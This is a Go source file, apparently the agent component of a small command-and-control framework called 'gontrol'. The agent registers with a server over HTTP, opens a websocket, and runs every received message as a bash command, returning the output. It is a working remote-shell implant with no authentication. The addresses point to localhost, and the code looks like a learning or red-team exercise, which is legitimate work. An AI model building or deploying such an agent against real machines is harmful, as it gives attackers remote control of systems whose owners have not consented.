gontrol/agents/agent.go

package main

import (
	// "bytes"
	// "encoding/json"
	"fmt"
	"log"
	"net/http"
	"net/url"
	// "os"
	"os/exec"
	"time"
	"math/rand"
	"math"
	"strconv"

	"github.com/gorilla/websocket"
)

const(
	webServerAddr 	= "127.0.0.1:3333"
	webSocketAddr   = "127.0.0.1:5555"
	registerURL = "http://" + webServerAddr + "/agents"
	// wsURL 		= "ws://" + webSocketAddr + "/data"
)

type Agent struct {
	AgentName 		string `json:"agentName"`
	AgentID         string `json:"agentId"`
	AgentIP         string `json:"agentIp"`
	InitialContact 	string `json:"initialContact"`
	LastContact     string `json:"lastContact"`
}


var conn *websocket.Conn

func registerAgent(agentName string, agentId string, agentIp string) error {
	// agent:= Agent{
	// 	AgentName: 		agentName,
	// 	InitialContact: time.Now().Format(time.RFC3339),
	// 	LastContact:    time.Now().Format(time.RFC3339),
	// }

	// jsonData, err := json.Marshal(agent)
	// if err != nil {
	// 	return fmt.Errorf("Error marshaling agent data: %v", err)
	// }

	// resp, err := http.Post(registerURL, "application/json", bytes.NewBuffer(jsonData))

	form := url.Values{}
	form.Add("agentId", agentId)
	form.Add("agentName", agentName)
	form.Add("IPv4Address", agentIp)

	resp, err := http.PostForm(registerURL, form)
	if err != nil {
		return fmt.Errorf("Error registering agent: %v", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusCreated {
		return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
	}

	log.Printf("Agent %s successfully registered.", agentName)
	return nil
}


func connectToWebSocket(agentName string, agentIp string) error {
	wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&IPv4Address=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentIp))
	var err error
	conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
	if err != nil {
		return fmt.Errorf("Failed to connect to WebSocket: %v", err)
	}

	log.Println("WebSocket connection established")
	return nil
}

func listenForCommands() {
	defer conn.Close()

	for {
		_, message, err := conn.ReadMessage()
		if err != nil {
			log.Printf("Error reading message: %v", err)
			break
		}

		command := string(message)
		log.Printf("Received command: %s", command)

		cmd := exec.Command("bash", "-c", command)
		output, err := cmd.CombinedOutput()
		if err != nil {
			output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...)
		}

		if err := conn.WriteMessage(websocket.TextMessage, output); err != nil {
			log.Printf("Error sending output: %v", err)
			break
		}

		log.Printf("Output sent to server.")
	}
}

func randomInt(length int) int {
    rand.Seed(time.Now().UnixNano())
	min := int(math.Pow10(length-1))
	max := int(math.Pow10(length)) -1
	return rand.Intn(max-min+1) + min

}

func main() {
	agentName := "Agent-001"
	// agentId := "1234"
	agentId := strconv.Itoa(randomInt(5))
	agentIp := "127.0.0.1"

	if err := registerAgent(agentName, agentId, agentIp); err != nil {
		log.Fatalf("Agent registration failed: %v", err)
	}

	if err := connectToWebSocket(agentName, agentIp); err != nil {
		log.Fatalf("Websocket connection failed: %v", err)
	}

	listenForCommands()
}